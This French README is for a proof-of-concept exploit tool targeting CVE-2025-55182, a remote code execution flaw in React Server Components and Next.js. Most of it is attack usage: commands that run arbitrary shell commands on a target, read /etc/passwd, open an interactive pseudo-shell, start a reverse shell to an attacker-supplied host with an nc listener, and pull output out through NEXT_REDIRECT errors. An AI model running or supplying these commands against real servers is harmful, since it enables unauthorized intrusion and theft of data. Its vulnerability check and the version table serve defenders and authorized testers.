
PoC CVE-2025-55182 React2Shell - RCE critique dans les composants serveur React / Next.js. CVSS 10.0. Exfiltration basée sur les erreurs, shell inversé, mode interactif.
Preuve de concept pour CVE-2025-55182, une vulnérabilité critique non authentifiée d'exécution de code à distance dans les composants serveur React.
Score CVSS : 10,0 (Critique)
La vulnérabilité réside dans le désérialiseur du protocole Flight de React. En exploitant la pollution de prototype via des charges utiles spécialement conçues, un attaquant peut exécuter du code arbitraire sur les applications Next.js vulnérables.
| Produit | Vulnérable | Corrigé |
|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
La sortie est renvoyée directement dans la réponse HTTP via l'erreur NEXT_REDIRECT - aucun serveur de callback nécessaire.
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Start listener
nc -lvnp 4444
# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target URL cible (obligatoire)
-c, --command Commande à exécuter (sortie via exfiltration par erreur par défaut)
--check Vérifier si la cible est vulnérable
--blind Mode RCE aveugle (aucune capture de sortie)
--listen Utiliser un serveur de callback au lieu de l'exfiltration par erreur
-i, --interactive Mode pseudo-shell interactif
--revshell Tenter un reverse shell
--lhost IP de l'attaquant pour les callbacks/reverse shell
--lport Port de callback (par défaut : 9999)
--callback URL de callback manuelle
--timeout Délai d'attente de la requête en secondes (par défaut : 30)
La méthode d'exfiltration par défaut utilise l'injection d'erreur NEXT_REDIRECT :
NEXT_REDIRECT avec la sortie dans le champ digestC'est plus fiable que l'exfiltration basée sur callback car cela ne nécessite pas d'accès réseau sortant depuis la cible.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester.
p3ta